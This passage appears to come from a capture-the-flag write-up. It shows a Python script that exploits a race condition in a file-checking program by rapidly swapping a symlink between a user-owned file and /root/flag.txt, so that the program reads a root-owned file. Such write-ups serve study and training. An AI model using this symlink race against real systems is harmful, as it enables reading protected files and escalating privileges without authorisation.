There was a python installed, so I've decided to write a python script. I've used the scp (WinSCP) to upload and run the script on the machine.

Race condition in python:

```
import os
from threading import Thread

def func():
os.system('./FileChecker ./flag')

def linkctf():
try:
os.unlink('flag')
except:
pass
os.symlink('.profile', 'flag') # link ctf owned file

def linkroot():
os.unlink('flag')
os.symlink('/root/flag.txt', 'flag') # link root owned file

linkctf()
t1 = Thread(target=linkroot)
t2 = Thread(target=func)

t2.start()
t1.start()

t1.join()
t2.join()
```